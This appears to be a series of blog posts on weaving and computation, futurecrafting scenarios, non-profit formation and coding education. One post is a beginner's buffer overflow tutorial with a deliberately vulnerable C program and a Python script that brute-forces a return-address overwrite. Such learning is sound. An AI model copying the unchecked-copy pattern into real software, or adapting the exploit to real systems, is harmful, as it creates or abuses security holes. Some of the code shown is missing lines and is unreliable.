Penelopean robotics theory and the woven cosmos (part 1)

The Penelope project is concerned with many things, pattern structures in ancient poetry, comparisons of Andean and Greek mathematics, and the role of liveness in thought processes – to name just a few. We can also add robotics to this list.

A weaver in action is often mistaken for a robot – perhaps it’s the repetitive actions that mask the accompanying thought processes from our eyes. Similarly, a livecoding performer typing code into a laptop can face a problematic interpretation that they are grandstanding their expertise, rather than simply attempting to contribute to a party atmosphere at an Algorave. These activities often seem to be misunderstood in a similar manner but in different directions, perhaps partly due to the fact they both employ technology that is either greatly over or under-played by the ubiquity of their end results.

The Penelope project is concerned with using these technological misunderstandings in order to search for deeper assumptions we may have. One case we’ve discussed for a while has been to combine the situations above, if a weaver livecodes a robot which is operating an ancient loom – what is the response to this?

One way to design these situations well is to use an ‘artistic conceit’, a implicit fictitious assumption that provides a framework to fit things together so they make sense. For example, working with the Quipu database, we used the central idea that the Inca were attempting to communicate with us to naively employ cryptanalysis, visualisation and sonification in an attempt to understand their untranslatable knotted thread codes.

An important reference for the Penelope project for me is Carl Sagan. In his influential series ‘Cosmos’, weaving is mentioned many times as a central ordering principle of time and space for the Ionian thinkers of ancient Greece, who initially wrote down many of the fundamental scientific ideas he is introducing. He embarks on a thought experiment considering what life would be like today without the destruction of the library of Alexandria – which contained much of their discoveries and ancient knowledge from all over the world, now lost forever. His conjecture is that this single event may have set us back as much 500 years in scientific thought, so it’s just possible that without this event occurring, on a different timeline to ours – around about now, the first space ships would be returning from the surveying planets orbiting other stars.

It it this kind of imagination and suspension of disbelief that can give us a new perspective on our current predicaments – and perhaps a more humble position with which to question that our ways of thinking are inevitable, obvious and about as good as they can be.

For example, if the invention of general purpose computation and robotics had occurred in a society much earlier – one founded on the woven cosmos, what could it have looked like, and how would it have worked? What might it tell us about different ways of doing things?

Futurecrafting in Cornwall with FoAM Earth

The future is in short supply at the moment, particularly in a country with so many things changing – it is a constant surprise that there are so few ideas about where we could be headed. At the smaller scales too, at FoAM Kernow, in common with many organisations there is a feeling we tend to be so fixated on the current problems (do we need to invoice for that project, have we replied to this important email, have we reached an agreement on the next steps for this other project), that we miss the long view. Why are we doing this? What are we doing it for? Do we know if this is the right approach? These seem difficult to answer when stuck in short term thinking.

One of the central parts of FoAM’s research for some time has been future preparedness. Through a series of projects Maja and Nik have been building up a collection of methods that allow an individual or organisation to picture itself in a future under a range of conditions called scenarios. Scenarios are designed to be extremes, or caricatures of the possible – if you can describe them well enough, you can envisage how you or your organisation would adapt to them. The goal is to reach a point where change is something that can be reasoned about in advance, rather than reacted to as it happens.

Our initial question was (as FoAM Kernow): “What do we want to be doing? ” broken down a bit more specifically into these points:

  1. What would be choose to do?
  2. What makes a FoAM Kernow project?
  3. What are our selection criteria & success criteria?
  4. How to say no?
  5. How to back out of projects where contributions are less relevant?
  6. What is our role as collaborators?
  7. What is the nature of our collaborations?

After this we went through a series of exercises to build up a comprehensive list of things both internal and external that could cause changes to our organisation. These were quite diverse, but we seemed to focus on external things a bit more than internal ones e.g.: inaccessibility of lab equipment, the rise in nostalgia as a form of solutionism, and that more people are active in politics than there used to be.

The aim is to figure out two significant ‘critical uncertainties’ (interestingly, these are not necessarily the most essential ones, but the most uncertain) which we can use to build our scenarios from. We ended up with these:

The way are living is DOOMED! ⟷ The status quo is FINE!Continuous learning & exploring the new ⟷ doing what you know. same old.

The first uncertainty defines the amount to which our society has the capacity to deal with the many big problems currently facing it. The second one we took to have meaning both internally and externally – society being more or less progressive and open to new ideas, as well as the requirement that we would need to learn new things, or whether our existing skill set is sufficient.

The next thing we did was to draw them as two axes and split them into four scenarios which represent the extremes of these uncertainties. We were then able to describe the world and our place in it by focusing on each one in turn, importantly giving them names which really helped give them character. This part was really fun, as they really are caricatures, and resulted in quite a lot of laughter – even (or especially) when describing what might be quite uncomfortable futures.

Poundland [the way we live is fine, we only do what we know]

This is a world where everything works out fine without any new knowledge needed. It’s hopeful in that we dodge some bullets, but a lot of top down control needs to be exerted for this world to operate, so it’s restrictive in a conservative, traditional way.

“Stasis reigns in Poundland. While class inequality is as bad as it always was, there isn’t much questioning authority. Most people defer decisions to the powers that be. The ruling class is conservative, praising traditional values. Critical education has made way for edutainment and propaganda. Hard Brexit happens seamlessly, the borders are locked down, society surveilled. There are a lot less people in Poundland than there were in the UK. Climate change is not as bad as people thought in the 2010s. A new ice age has arrived and we’re coping. With appropriate urgency, solutions can be found to maintain reasonably comfortable lifestyles.

On the surface, FoAM is doing everything right, yet has not much visible power. We receive government funding to start a new university for applied sciences and technologies, focusing on mitigating effects of the Ice Age. Beneath this benign face, we are guerrilla teachers. Using workshops and other forms of adult education, we prepare our students to think for themselves. With the university as a front, we are hiding in plain sight.”

To a certain extent this seems to be a world that is close to the vision of groups like those behind Vote Leave – a future where the UK is a “Singapore on the shores of Europe”, deregulated to the point where we can kickstart our economy and closeted workforce into higher productivity. It’s a bit like the future described in this book (reading of which was a bit of a follow up for this scenario):

Britannia Unchained: Global Lessons for Growth and Prosperity is a political book written by several British Conservative Party MPs.
Britannia Unchained: Global Lessons for Growth and Prosperity is a political book written by several British Conservative Party MPs.

The problems in society identified in this book seem pretty good – but the unshakable belief in the free market pushes issues like human rights, health, quality of life and the environment into irrelevancies with only passing mentions – the assumption (as in this scenario) that these things will ‘somehow just be fixed’, so prosperity can continue.

Silicon Wharf [the way we live is fine, with a thirst for knowledge]

Silicon Wharf is a progressive, shiny future where everything is solvable by big investment in new knowledge. It’s a world of expensive institutional buildings with odd angled walls, carpet tiles and people wearing lanyards, it’s a very EU future vision – and seems mildly nostalgic and quaint, perhaps because it is a world reliant on abundance of many things.

“The Silicon Wharf is ruled by technocrats (both in government and corporate sector), with rationality and logic as the dominant virtues. It is a node in a globalised network of excellence, where the “best minds” work on technological solutions to climate change. There is a lot of funding for (blue sky) research, as long as the results are presented as innovative products and services that can be scaled up to produce social and/or environmental impact (e.g. carbon sequestration into diamonds for the luxury market). There are mega infrastructure projects under way, championed by China. Brexit has been cancelled and Cornwall has become a key player in the Europe of Regions. The world is increasingly open and there is much cross- border exchange (of knowledge, people, stuff).

The FoAM network has expanded to hundreds of studios and has formed its own NoE (Network of Excellence). The network works on long-term technology research and development and disruptive education. We focus on technologies that are relevant, accessible, tangible and open source. The knowledge we gain through R&D we pass on to anyone who is interested, in workshops and other p2p educational formats. We teach people to make things that can solve their immediate issues, and teach them to teach each other. We get to engage in interesting translation and dissemination activities, which take us out to different contexts, regions and cultures. We’re therefore continuously learning and expanding our horizons.”

Life in this world seems quite easy but somehow dangerous too – just imagine the amount of administration we’d be doing, there are lots of spreadsheets here! The general openness to new learning would make this an exciting place though, with lots of travel possible, due to new innovation excellence in transportation technology.

IRK (Independent Republic of Kernow) [the way we live is doomed, with a thirst for knowledge]

This is in some ways a collapse scenario, nothing has worked out but there is still a thirst for new ways – and because acceptance that the old ways are broken are unavoidable, there are opportunities to attempt much bigger alterations and experiments.

“The Independent Republic of Kernow is a good place to live in highly uncertain times. Urban centres have become danger zones of poverty, disease and violence, so the predominantly rural IRK receives many urban emigrants and refugees. While there is a low life-expectancy in IRK, life is filled with buzzing experimentation and excitement. People dare to take risks, knowing that their survival depends on learning from failure. There are different political and economic experiments (including UBI, a new tithe system, etc.). As the NHS collapsed, new forms of Medical Citizen Science are on the rise. A plethora of infrastructure projects appear and disappear. Hybrid land-sea infrastructure is the most experimented with, as IRK has become a seasonal island. New Dawn traders deploy their sail ships to bring in goods from further afield, but most of the produce is locally sourced (short-chain economies, including initiatives like New Lina, End of The World Garden…). There isn’t much leisure or time to rest, so burnout has become a plague. Some burnt-out people created Circles of Stability, where they tell each other fables of bygone stable lifestyles. While these circles often promote hopeless nostalgia, most of the world has moved to new myths: biomimetic stories of humans becoming social-insects.

FoAM has moved into the Eden Project. We are issuing our own currency (FoAMcoin) and are part of several trade networks (incl. the well established Feral Business Network). The main dome is a productive garden where we grow food and medicine for our collaborators and wider network (in collaboration with other horticulturalists and farmers in the area). What we can’t use ourselves, we barter for other goods. One of the domes is converted into the warehouse for New Dawn traders, another is devoted to agritech experiments and another is focusing on our communication infrastructure projects, such as waterproof mesh networks. We’re trading produce, but primarily we exchange skills. We aim to cultivate a skill-ecosystem that includes a wide range of people with diverse knowledge, talents and skills. We travel more, using slow modes of transport. Some of us stay in Eden, while others opt for journeyer lifestyles with no fixed studio and no desk (work). FoAM thrives in this trans-local republic, and even though we know we might die soon, we’ll die happy and fulfilled.”

So, appropriately IRK is the opposite of Poundland, life has the potential to be good but generally short – whereas in Poundland stability was rigidly enforced and life seemed hard. When we were discussing this scenario there was a lot of laughter and general surprise that this would be the best one in a lot of ways, even though everything is doomed. [the way we live is doomed, we only do what we know]

The last scenario is, by all rights the worst one possible – there is no desire or drive for learning new things, so everything is irretrievably broken. However, one of the significant things that happens when futurecrafting is finding that what you thought were the worst case scenarios have features of them that are still interesting and desirable. This is the scenario of escapism, VR and games – it also has the best parties. As scenarios are extremes, they are not going to happen – but they do give indications of situations that we might recognise in future so we can connect with these desirable outcomes, even if they are a result of an overall situation we might not wish for.

“The way humans live is doomed, and we have accepted it. It’s too late to change anything anyway. We’re living in a Trump-inspired world, in what is left of the UK. There is no funding for research, no electric car subsidies, but regional funding and (corrupt) local philanthropy is growing. It’s all about who you know. Universities are small, focusing on keeping the local population occupied (some dedicated to spreading ‘the word’ of the regional philanthropic magnates). Brexit is still in (perpetual) negotiation, leading to additional economic, social and political paralysis and fragmentation. A sense of powerlessness and inequality permeates everything, leading to a simmering, low level civil war. In their despair people turn to escapism and nostalgia. VR games and end of the world parties are plentiful, with people crowding together ‘to go out with a bang’.

FoAM has realised that the only way to survive in this world is to build a stable institution ourselves, to become one of the power players (in loose alignment with local rulers). We abandoned our individual passions; instead, all our energy goes into collective endeavours. Our institute is known for developing high quality and transparent technologies. Our biggest department focuses on techniques and technologies for maintenance and repair of crumbling infrastructure for everyday life. Our other line of work is less known in the mainstream, but hugely popular with the escapist underground; we organise exorbitant crypto-parties and citizen science game-fests (VirusCraft became hugely popular, funding most of our non-profit programmes). Accesslab is our public outreach programme, helping people make sense of the nonsense they’re faced with every day. Seemingly dealing with short term issues, we’re actually teaching (subversive) long-term thinking.”

It seems that the only hope in this world would be to somehow nurture a shift to a more IRK like situation, attempting to show in small ways some way out of the powerlessness. The significance of AccessLab in this world is interesting, as it would be increasingly important here to connect a science starved of funding with the reality of the situation to keep it relevant, as well as making it useful for providing potential new avenues.

Of course we live in neither the worst or best of all possible worlds, but thinking of the extremes helps us to be prepared for moves in the middle ground; combinations of these futures are more likely. We can now use these scenarios to plan projects, for each potential new thread of investigation we can consider how many of these scenarios would it work under, and the more the better.

We’ve had quite a lot of success over the past couple of years with really popular projects we’ve nurtured into existence ourselves, which seem to strike a chord and get a lot of attention – Sonic Kayaks, AccessLab and midimutant for example. These scenarios are a new tool for us to continuously gauge the relevance of what we are doing, and provide hints for how to make an idea useful regardless of how the future pans out.

My first buffer overflow exploit

I know worryingly little about the world of computer security – I’ve probably written a huge amount of exploitable code in my time, so it’s a good idea as a programmer to spend a bit of effort finding out more about how our programs can be compromised in order to gain awareness of the issues.

The key to understanding exploits is the concept of the universal machine – the fact that trying to restrict what a computer can do is literally fighting against the laws of physics. Lots of money can be poured into software which sometimes only takes a couple of days to get compromised, its a Sisyphean task where the goal can only be to make it “hard enough” – as its likely that anything complex enough to be useful is vulnerable in some way.

Having said that, the classic exploit is quite avoidable but regrettably common – the buffer overflow, a specific kind of common bug which makes it possible to write over a program’s stack to take control of it’s behaviour externally. This was about as much as I knew, but I didn’t really understand the practicalities so I thought I’d write an example to play with. There are quite a lot of examples online, but a lot of them are a little confusing so I’d thought I try a simpler approach.

Here is a function called “unlock_door”, we’ll compile this into a C program and try to force it to execute even though it’s not called from the program:

void unlock_door() { 
  printf("DOOR UNLOCKED\n"); 

Now we need a vulnerability, this could be something completely unrelated to “unlock_door” but called in the same program – or it’s library code:

void vulnerable(char *incoming_data, unsigned int len) {
    char fixed_buffer[10];
    // woop! put some variable length data in 
    // a fixed size container with no checking
    // print out the return pointer, helpful for debugging the hack!
    printf("return pointer is: %p\n", 

The dodgy memcpy call copies incoming_data into fixed_buffer on the stack which is 10 bytes big. If incoming_data is bigger then it will copy outside of the reserved memory and overwrite other data on the stack. One of the other things stored on the stack is the return address value – which tells the program where the function was called from so it can go back when it’s finished. If we can set incoming_data from outside the program, then we can exploit it to redirect program flow and jump into unlock_door instead of returning properly.

We’ll make getting data into the program very simple indeed, and input it via a base16 encoded argument string converted to binary data passed to our vulnerable function in main:

unsigned int base16_decode(const char *hex, char **data) {
  unsigned int str_size = strlen(hex);
  *data = malloc(str_size/2); 
  for (unsigned int i=0; i<str_size; i+=2) {
    if (sscanf(&(hex[i]), "%2hhx", &((*data)[i/2])) != 1) {
      return 0;
  return str_size/2;

void main(int argc, char **argv) {
  char *data;
  unsigned int size = base16_decode(argv[1],&data);
  printf("normal exit, door is locked\n");

This is our vulnerable C program finished. If we run it with just a few bytes of data it operates normally and prints out the current return pointer, sending it back into the main function it was called from:

$ ./dodgy_door_prog 0000000000
return pointer is: 0x40088c
normal exit, door is locked

We can now inspect it in order to figure out the exploit. The first thing we can do is run the standard bintools “nm” command on the binary which prints out the addresses of all the functions in the executable. We can search this with grep to print the address of the target function we want to call:

$ nm dodgy_door_prog | grep unlock_door
00000000004007fa T unlock_door

The smart thing to do next is to work out where the return pointer would be relative to the fixed_buffer variable and offset this address to provide a payload to send the the program – I’m not smart though, so I wrote a python program to figure it out for me:

import os
import string

# this is stored in memory in reverse (little endian format)
unlock_door_addr = "fa0740"

def build_payload(length):
    return "00"*length+unlock_door_addr

ret = 0
count = 0
# try increasing offsets and until we get the exit code from unlock_door
# ignore all segfaults and bus errors etc and keep retrying
while ret in [0,35584,34560,34304,33792]:
    cmd="./dodgy_door_prog "+payload
    ret = os.system(cmd);
    print cmd

It took me a while to figure out that addresses are stored in memory backwards to what you’d expect as it’s little-endian memory layout (on intel and everything else these days). The script keeps adding zeros in order to offset the target address until it sits in the right bit of stack memory (you can see the return pointer gradually getting corrupted) and eventually triggers the function:

./dodgy_door_prog 00000000000000000000000000000000000000fa0740
return pointer is: 0x40088c
Segmentation fault (core dumped)
./dodgy_door_prog 0000000000000000000000000000000000000000fa0740
return pointer is: 0x40088c
Bus error (core dumped)
./dodgy_door_prog 000000000000000000000000000000000000000000fa0740
return pointer is: 0x40088c
Bus error (core dumped)
./dodgy_door_prog 00000000000000000000000000000000000000000000fa0740
return pointer is: 0x400840
Segmentation fault (core dumped)
./dodgy_door_prog 0000000000000000000000000000000000000000000000fa0740
return pointer is: 0x404007
Segmentation fault (core dumped)
./dodgy_door_prog 000000000000000000000000000000000000000000000000fa0740
return pointer is: 0x4007fa

The successful offset is 24 bytes. Now the good news is that this is only possible on GCC if we compile with “-fno-stack-protector”, as by default for the last year or so it checks functions that allocate arrays on the stack by using a random “canary” value pushed to the stack, if the canary gets altered it stops the program before the function returns. However not all functions are checked this way as it’s slow, so it’s quite easy to circumvent for example if changed from an array to to the address of a local variable instead.

More advanced versions of this exploit also insert executable code into the stack to do things like start a shell process so you can run any commands as the program. There is also an interesting technique called “Return Oriented Programming” where you can analyse an executable to find snippets of code that end in returns (called “gadgets”) and string them together to run your own arbitrary programs. This reminds me of the recent work we’ve been doing on biological viruses, as it’s analogous to how they latch onto sections of bacterial DNA to run their own code.

A cryptoweaving experiment

Archaeologists can read a woven artifact created thousands of years ago, and from its structure determine the actions performed in the right order by the weaver who created it. They can then recreate the weaving, following in their ancestor’s ‘footsteps’ exactly.

This is possible because a woven artifact encodes time digitally, weft by weft. In most other forms of human endeavor, reverse engineering is still possible (e.g. in a car or a cake) but instructions are not encoded in the object’s fundamental structure – they need to be inferred by experiment or indirect means. Similarly, a text does not quite represent its writing process in a time encoded manner, but the end result. Interestingly, one possible self describing artifact could be a musical performance.

Looked at this way, any woven pattern can be seen as a digital record of movement performed by the weaver. We can create the pattern with a notation that describes this series of actions (a handweaver following a lift plan), or move in the other direction like the archaeologist, recording a given notation from an existing weave.

A weaving and its executable code equivalent.

One of the potentials of weaving I’m most interested in is being able to demonstrate fundamentals of software in threads – partly to make the physical nature of computation self evident, but also as a way of designing new ways of learning and understanding what computers are.

If we take the code required to make the pattern in the weaving above:

(twist 3 4 5 14 15 16)
(weave-forward 3)
(twist 4 15)
(weave-forward 1)
(twist 4 8 11 15)

(repeat 2
 (weave-back 4)
 (twist 8 11)
 (weave-forward 2)
 (twist 9 10)
 (weave-forward 2)
 (twist 9 10)
 (weave-back 2)
 (twist 9 10)
 (weave-back 2)
 (twist 8 11)
 (weave-forward 4))

We can “compile” it into a binary form which describes each instruction – the exact process for this is irrelevant, but here it is anyway – an 8 bit encoding, packing instructions and data together:

8bit instruction encoding:

Action  Direction  Count/Tablet ID (5 bit number)
0 1         2              3 4 5 6 7 

Action types
weave:    01 (1)
rotate:   10 (2)
twist:    11 (3)

forward: 0
backward: 1

If we compile the code notation above with this binary system, we can then read the binary as a series of tablet weaving card flip rotations (I’m using 20 tablets, so we can fit in two instructions per weft):

0 1 6 7 10 11 15
0 1 5 7 10 11 14 15 16
0 1 4 5 6 7 10 11 13
1 6 7 10 11 15
0 1 5 7 11 17
0 1 5 10 11 14
0 1 4 6 7 10 11 14 15 16 17
0 1 2 3 4 5 6 7 11 12 15
0 1 4 10 11 14 16
1 6 10 11 14 17
0 1 4 6 11 16
0 1 4 7 10 11 14 16
1 2 6 10 11 14 17
0 1 4 6 11 12 16
0 1 4 7 10 11 14 16
1 5

If we actually try weaving this (by advancing two turns forward/backward at a time) we get this mess:


The point is that (assuming we’ve made no mistakes) this weave represents *exactly* the same information as the pattern does – you could extract the program from the messy encoded weave, follow it and recreate the original pattern exactly.

The messy pattern represents both an executable, as well as a compressed form of the weave – taking up less space than the original pattern, but looking a lot worse. Possibly this is a clue too, as it contains a higher density of information – higher entropy, and therefore closer to randomness than the pattern.

The UAV toolkit & appropriate technology

The UAV toolkit’s second project phase is now complete, the first development sprint at the start of the year was a bit of research into what we could use an average phone’s sensors for, resulting in a proof of concept remote sensing android app that allowed you to visually program different scripts which we then tested on some drones, a radio controlled plane and a kite.


This time we had a specific focus on environmental agencies, working with Katie Threadgill at the Westcountry Rivers Trust has meant we’ve had to think about how this could be used by real people in an actual setting (farm advisors working with local farmers). Making something cheap, open source and easy to use, yet open ended has been the focus – and we are now looking at providing WRT with a complete toolkit which would comprise a drone (for good weather) a kite (for bad weather/no flight licences required) and an android phone so they don’t need to worry about destroying their own if something goes wrong. Katie has produced this excellent guide on how the app works.

The idea of appropriate technology has become an important philosophy for projects we are developing at Foam Kernow, in conjunction with unlikely connections in livecoding and our wider arts practice. For example the Sonic Bike project – where from the start we restricted the technology so that no ‘cloud’ network connections are required and all the data and hardware required has to fit on the bike – with no data “leaking” out.


With the UAV toolkit the open endedness of providing a visual programming system that works on a touchscreen results in an application that is flexible enough to be used in ways and places we can’t predict. For example in crisis situations, where power, networking or hardware is not available to set up remote sensing devices when you need them most. With the UAV toolkit we are working towards a self contained system, and what I’ve found interesting is how many interface and programming ‘guidelines’ I have to bend to make this possible – open endedness is very much against the grain of contemporary software design philosophy.

The “app ecosystem” is ultimately concerned with elevator pitches – to do one thing, and boil it down to the least actions possible to achieve it. This is not a problem in itself, but the assumption that this is the only philosophy worth consideration is wrong. One experience that comes to mind recently is having to make and upload banner images of an exact size to the Play Store before it would allow me to release an important fix needed for Mongoose 2000, which is only intended to ever have 5 or 6 users.


For the UAV toolkit, our future plans include stitching together photos captured on the phone and producing a single large map without the need to use any other software on a laptop. There are also interesting possibilities regarding distributed networking with bluetooth and similar radio systems – for example sending code to different phones is needed, as currently there is no way to distribute scripts amongst users. This could also be a way of creating distributed processing – controlling one phone in a remote location with another via code sent by adhoc wifi or SMS for example.

Loose threads from weavecoding

Midway through the weavecoding project and our researches have thrown up a whole load of topics that either don’t quite fit into our framework, or we simply won’t have time to pursue properly. Here are some of the tangents I’ve collected so far.

Coding with knots: Khipu

One of the cultures I’m increasingly interested in are the Incas. Their empire flourished to up to 37 million people, without the need of money or a written language. We know that some numeric information was stored using Khipu, a knot based recording system which was used in combination with black and white stones to read and calculate. Two thirds of the quipus we have are un-translated, and do not fit into the known numeric coding system – what information do they hold?


Harvard University provides a Khipu Database Project with many surviving examples documented – I’m hoping to run a workshop soon to look through some of this data in a variety of ways.

Tablet weaving NAND gates

Diagram thanks to Phiala’s String Page – the only place I’ve seen tablet weaving explained properly.

There are logic gates in tablet weaving logic. I haven’t fully figured this out yet, but I noticed modelling tablet weaving that you end up basically mapping the combinations of the weaving actions (such as turn direction) and colour as truth tables.

Top face colour based on top left/top right hole yarn in a single card and turn direction (clockwise/counter clockwise)

TL Yarn : TR Yarn : Turn : Top face colour
Black   : Black   : CCW  : Black
Black   : Black   : CW   : Black
Black   : White   : CCW  : Black
Black   : White   : CW   : White
White   : Black   : CCW  : White
White   : Black   : CW   : Black
White   : White   : CCW  : White
White   : White   : CW   : White

Things get stranger when you include twist and combinations of actions with multiple cards. Would it be possible to compile high level programming languages into weaving instructions for carrying out computation? Perhaps this is what the untranslatable quipus are about?

Nintendo made a knitting machine

We could really do with some of these, unfortunately they never went beyond prototype stage.


Asemic writing

Asemic writing is a post-literate written form with no semantic content. Miles Visman programs procedural asemic languages and hand weaves them. I think this may be an important connection to livecoding at some point.


Organisation hacking (part 1)

Over the last six months I’ve been taking a crash course in company formation, treating it like any other investigation into a strange and esoteric technology. Last year I registered FoAM Kernow as a UK non profit organisation in the mould of FoAM Brussels. Starting off with absolutely no knowledge at all (but with a lot of help from FoAM’s wider friends and relations) I found a lot of confusing fragments of information online so I thought I’d document the process here as much as I can. It’s important to state that I’m not a lawyer or professional in these matters at all, so no substitute for proper legal advice – and any corrections would be most welcome.

What does non-profit mean?

A non-profit company is simply one that is not allowed to have shareholders. A for-profit company can pay a set of people who own shares part of the profits called dividends. In a non-profit the money outflow is more tightly controlled and can only go to employees or to pay costs for the company. Contrary to popular belief, there is no limitation on the size of the company, how much it pays employees or the money it makes in total (there are some very large non-profits out there).

In place of shareholders, a non-profit is “limited by guarantee” – a more legally correct term for this type of organisation. Individuals guarantee a set amount against liability (debts). The default is a whopping £1 each.

As far as I understand it “limited by shares” and “limited by guarantee” are the two main different types of organisation in the UK. There are also a cluster of other subcategories: charities, community interest groups, co-operatives and social enterprises for example. These are a little bit more fuzzy it seems, but they tend to be different flavours of limited by guarantee companies with more legal paperwork (especially in the case of charities) to determine the precise purpose and role of the organisation, and ultimately access to profits – what the money can and can’t be used for.

Why form a company?

Having a legal entity with which to work from rather than being an individual (sole trader) is better for larger projects, and bigger institutions are happier collaborating with legal entities. This is partly a matter of indirection or abstraction, e.g. if I get hit by the proverbial bus, the legal entity continues to exist. More importantly, it means multiple people can work together as part of a legal structure with a publicly stated set of shared values (called the articles of association). There is also a well established democratic process to make organisational decisions (more on that later).

Sole traders on the other hand can employ as many people as they want, but the structure would be fixed as a simple hierarchy – and the organisation has no legally defined purpose. Also things like insurance are different, but I won’t get into that yet!

Why form a non profit company?

A non-profit fits well with the goals of FoAM. Generally we focus on exploring ways of doing independent research, we are strict on non-exclusive rights to our work (participating in free software and creative commons) and finding a place between arts and sciences. None of this requires conventional fund raising by selling shares.

Another big reason is an issue of trust. We work mainly with people in spheres of arts and research – and it turns out a lot of people don’t want to work with companies that are run on a for-profit basis. In fact I would go so far as to say that some of the most interesting people we work with are wary of this. There is a somewhat justifiable worry that their contribution may be exploited via pressures to make a return on investments made by third parties.

The downsides are mainly tax related – for-profit companies can use dividends to pay investors (who can be employees too) which are not taxed – this is a very common practice. Usually small companies employ people at the minimum taxable wage then pay the rest by dividends. There is no way to do this with a company limited by guarantee – all payments to people need to be accounted for as normal employment or subcontracting and subject to income tax. It turns out that there are other upsides to being non-profit that may counteract this in the long run as you get treated differently in some contexts (e.g banking). For the next installment (if I find time!) I’d like to talk more about that and the formation process too…

Robot nightjar eggshibition at the Poly, Falmouth

As part of this year’s Fascinate festival we took over the bar at Falmouth’s Poly with visualisations of the camouflage pattern evolution process from the egglab game.



This was a chance to do some detective work on the massive amount of genetic programming data we’ve amassed over the last few months, figure out ways to visualise it and create large prints of the egg pattern generation process. I selected family trees of eggs where mutations caused new features that made them difficult for people to spot, and thus resulted in large numbers of descendants. Then I printed examples of the eggs at different stages to see how they progressed through the generations.


We also ran the egglab game in the gallery on a touch screen which accidentally coincided with some great coverage in the Guardian and Popular Science, but the game kept running (most of the time) despite this.




The Poly (or Royal Cornwall Polytechnic Society) was really the perfect place for this exhibition, with its 175 year history of promoting scientists, engineers and artists and encouraging innovation by getting them together in different ways. Today this seems very modern (and would be given one of our grand titles like ‘cross-displinary’) but it’s quite something to see that in a lot of ways the separation between these areas is currently bigger than it ever has been, and all the more urgent because of this. The Poly has some good claims to fame, being the first place Alfred Nobel demonstrated nitro‐glycerine in 1865! Here are some pages from the 1914 report, a feel for what was going on a century ago amongst other radical world changes:



Why teach Kids Coding? (Royal Cornwall Show update)

Setup and coffee time at the Pi Cube before the crowds arrive
Setup and coffee time at the Pi Cube before the crowds arrive

On Saturday I teamed up with Falmouth University’s Makernow team to do a kids coding event at the Royal Cornwall Show with a new Raspberry Pi cube (based on the one used at the DeerShed Festival last year). We had a constant stream of families and kids wanting to try Scratch coding, and we had a 50/50 gender balance in terms of helpers which I think with these sorts of events is critical.

The part I like best about public events like this are talking with the parents and teachers. The best questions are the fundamental ones: “why should we be teaching them how to program?” which was a great opportunity to get my thoughts straight – the official economic reason is not one I’m so motivated by: “to encourage more talent in the tech sector”. The actual reason I do all this (mostly on a voluntary basis) is the feeling that as we find ourselves living in a computational society, where everything we do is algorithmically processed, the future for people who only know how to consume technology is very different from those who are not afraid to question it, who know it’s possible to take it to bits and rebuild it in new ways.

This is also the reason that I can’t get very excited when teachers tell me they are buying iPads for use in their school – there are some interesting programming environments on them, but the kind of creativity they support cannot, due to Apple’s core business model, encompass this kind of questioning – they can’t escape the sandbox. For example, when I last checked, you can program iPads, but not share the code or work collaboratively as it would bypass the AppStore distribution model to do this.

This relates to the answer I gave to “why should we get a Raspberry Pi” – as it provides a platform that encourages a fearless relationship with technology, it doesn’t have the family email account on it, it’s cheap and nobody cares if you manage to delete the entire operating system, just copy a new sdcard. This stuff has to be possible, and encouraged – if we are to eventually have a society that can have any meaningful debate on increasingly thorny computational/network/society issues such as those related to GCHQ mass spying.

Back to the kids – it was interesting that the majority of the older ones had already used Scratch, either as part of their normal school lessons, or an after school activity (anecdotally, this is sharp improvement over the last year or so). Some of them were keen to show off their skills, which was a great way to demonstrate to the younger ones what was possible.

For the older ones I’m continuing work on the Minecraft API coding project – making simple 3D primitives to demonstrate functional programming in Python. You can explore the results of your programs by walking around and digging into structures generated in a familiar world. More on new versions of that soon.

Thinking Digital 2014

Last week I had the honour of both performing with Alex and presenting at Thinking Digital 2014. Suzy O’Hara invited me to represent the intersection of art, science and education of FoAM kernow and present the work I’ve been doing with the Sensory Ecology Group at Exeter University. I did a quick Egglab game demo and related some thoughts on working with scientists and how it connects with my experience teaching programming in the classroom.

It was an interesting and unusual venue for me, organiser Herb Kim is very much developing on the TED theme – so lots of extremely well considered, motivating and inspiring talks. Much of the context was one of venture capital and startup business so it was interesting to see an explosive talk by Aral Balkan on the implications of Facebook and Google’s business models on the future of our society (he included some of the other presenter’s companies too). This reminded me very much of the themes we explored in Naked on Pluto, but coming from a new angle.

Personally his talk was challenging to me as he roundly attacked the free software movement, for essentially providing a great sandbox for enthusiasts and well funded companies – but incapable of doing much more in terms of data security for real people. As a designer, he sees this as essentially a design problem – one that these companies have solved for themselves but is utterly lacking in devices such as the Firefox phone OS. For Aral, this is fundamentally a design problem that needs it’s own movement, and new business models to be developed. These business models need to take into consideration long term usability (for which user privacy is an essential feature) rather than ultra short term profit ‘pump and dump’, selling of people’s information for vast amounts – i.e. silicon valley ‘business as usual’.

Two things are apparent to me following this talk – one is that I have been labouring under the impression that a particular focus on design is somehow implicitly tied with specific business practices – simplification as wallpapering over data harvesting, and other tactics. This is very much a short sighted developer view, and is wrong – they can of course service different types of businesses.

The other point came during his 3 slide explanation of how to start your own social network (1. fork a github repo, 2. set up a server and 3. install it). Clearly even this satirical simplification is beyond all but existing software developers (many of whom are working for companies reliant on user surveillance in some indirect or direct way). The challenge for me is that I can’t ultimately see a way to make ‘interface as user experience’ ever converge on anything other than exploitation. Can ‘user experience’ ever regard people philosophically as anything but consumers – regardless of the underlying business model?

The problem in solving that is that we now have two problems – the terrible state of software engineering preventing accessibility (i.e programming at large still stuck in the 70’s) and the lack of understanding in society of what a computer is and how it works. The second of these problems is being addressed in some part by the activities of CodeClub (Aral is [correction: was] a director of this organisation) and similar education initiatives. Regarding pushing software engineering forward, in some way I think recent livecoding takeup by musicians over programmers is a fascinating development here, in terms of showing us how programming – when it’s taken and twisted into very strange and new forms, can start to make sense and work for ‘real people’.